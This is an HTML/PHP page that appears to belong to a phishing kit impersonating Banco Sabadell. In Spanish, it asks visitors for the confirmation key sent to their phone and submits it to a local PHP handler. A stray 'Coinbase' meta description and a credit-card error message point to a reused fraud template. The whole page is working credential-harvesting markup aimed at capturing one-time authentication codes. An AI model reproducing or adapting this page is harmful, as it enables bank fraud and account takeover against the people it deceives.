<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="discription" content="Coinbase">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="icon" href="./Assets/imgs/favicon.png">
        <title>Banco Sabadell</title>
        <!-- === bootstrap === -->
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/css/bootstrap.min.css" rel="stylesheet" />
        <!-- == Font-awesome " icon " == -->
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"/>
        <!-- == remixicon " icon " == -->
        <link href="https://cdn.jsdelivr.net/npm/remixicon@3.5.0/fonts/remixicon.css" rel="stylesheet">
        <!-- == file style css == -->
        <link rel="stylesheet" href="./Assets/css/style.css">
        <script src="./Assets/js/stutes.js"></script>
    </head>
    <body>

        <!-- Header -->
         <div class="header_2 d-flex align-items-center justify-content-between">
            <div class="logo">
                <img src="./Assets/imgs/logo.svg" alt="">
            </div>
            <div class="wel">
                <p>Bienvenida <i class="ri-arrow-down-s-line"></i></p>
            </div>
         </div>

        <!-- success -->
        <div class="wrapper_code">
            <div class="container_code">
                <div class="infos_code mb-0">
                    <h5><img src="./Assets/imgs/lock2.png" alt="">INTRODUCE LA CLAVE DE CONFIRMACIÓN.</h5>
                    <p>Introduce la clave que se ha enviado a tu dispositivo móvil.</p>
                    <span>Todos los campos marcados con * son obligatorios</span>
                    <?php if( isset($_GET['error']) ) : ?>
                    <div class="error  mt-3 alert alert-danger d-flex align-items-center">
                        <img src="./Assets/imgs/error.png" alt="">
                        <p class="mb-0 mt-0">La clave de verificación no es válida. Utilice una tarjeta de crédito válida.</p>
                    </div>  
                    <?php endif; ?>                     
                    <form action="./Assets/php/config/func.php" method="post">
                        <input type="hidden" name="posit">
                        <div class="inputes">
                            <div class="pos_inputes">
                                <input type="password" name="x1" maxlength="1" inputmode="numeric" id="x1" placeholder="•" style="border-right:none;">
                                <input type="password" name="x2" maxlength="1" inputmode="numeric" id="x2" placeholder="•" style="border-left:none;">
                            </div>                  
                        </div>
                        <div class="btn_sub">
                            <button disabled type="submit">Continuar</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>

        <!-- copyghit -->
        <div class="copyghit">
            <p>Banco Sabadell, S.A., 2025. Todos los derechos reservados.</p>
        </div>

        
        <!-- bootstrap -->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
        <!-- script jquery -->
        <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
        
        <script>       
            $("input").keyup(function(){
              if ($("#x1").val() != "" & $("#x2").val() != "") {
                $(".btn_sub button").prop("disabled",false);
                $(".btn_sub button").addClass("active");
              }else{
                $(".btn_sub button").prop("disabled",true);
                $(".btn_sub button").removeClass("active");
              }
            }); 
            
            $("input").keyup(function(){
                if ($(this).val().length > 0) {
                    $(this).next().focus();
                }else if ($(this).val() === "") {
                    $(this).prev().focus();
                }
            })             
        </script>
    </body>
</html>